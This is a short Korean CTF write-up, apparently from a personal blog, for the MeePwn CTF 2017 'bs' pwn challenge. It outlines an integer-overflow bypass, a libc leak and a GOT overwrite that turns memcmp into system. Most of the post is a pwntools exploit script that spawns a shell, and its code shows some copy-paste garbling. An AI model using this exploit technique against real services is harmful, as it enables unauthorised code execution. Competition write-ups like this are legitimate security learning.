MeePwn ctf bs

CTF/2017 2017. 7. 21. 16:16

인티져 오버플로우를 통해서 root를 우회할 수 있고

-를 이용해 릭과 got overwrite가 가능하다.

문제는 got를 이용해서 어떻게 공격을 할까인데

첫 번째 인자를 조절할수 있는 방법이 memcmp밖에 없기 때문에 이를 system으로 바꿧다.

open을 ret으로 바꿔주면 memcmp에 첫번째 인자를 원하는 곳으로 바꿀수 있다.

memcmp가 main 처음에 있기 때문에 scanf를 main으로 돌려서 호출시켰다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# !/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
 
if len(sys.argv) < 2:
    host = "localhost"
    port = 4000
 
def init():
    s.recvuntil("password:")
    s.sendline("")
    s.recvuntil("_id:")
    s.sendline("-16777216"# integer_overflow
 
def input():
    s.recvuntil("sort ?")
        s.sendline("-129")
        s.recvuntil("integers")
        for i in range(0127):
                s.sendline(str(i))
 
def leak():
    s.recvuntil("break\n")
    s.sendline("-21")
    read_addr = int(s.recv(10),16)
    log.info("read_addr         : " + hex(read_addr))
    s.sendline("-1")
    return read_addr - 0xd5af0
 
def edit(payload):
    s.recvuntil("it ?")
    s.sendline("y")
    s.sendline(str(payload))
 
def passs():
    s.recvuntil("it ?")
    s.sendline("")
 
def pwn(system_addr):
    s.recvuntil("find\n")
    s.sendline("1879048191")
 
    for i in range(030):
        if i == 22:
                edit(system_addr)
        elif i == 25:
                edit(str(134514642))
        elif i == 28:
                edit(str(134515010))
        else:
            passs()
 
    edit("/bin/sh")
    s.recvuntil("password:\n")
    s.sendline("FUCK")
 
= remote(host, port)
 
if __name__ == "__main__":
    init()
    input()
    libc_base = leak()
 
    log.info("libc_base         : " + hex(libc_base))
    system_addr = libc_base + 0x3ada0
    log.info("system_addr       : "+hex(system_addr))
 
    pwn(system_addr)
 
s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

twctf just_do_it write up  (0) 2017.09.08
meepwn CTF 2017 - oldschool  (0) 2017.07.23
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
블로그 이미지

powerprove

,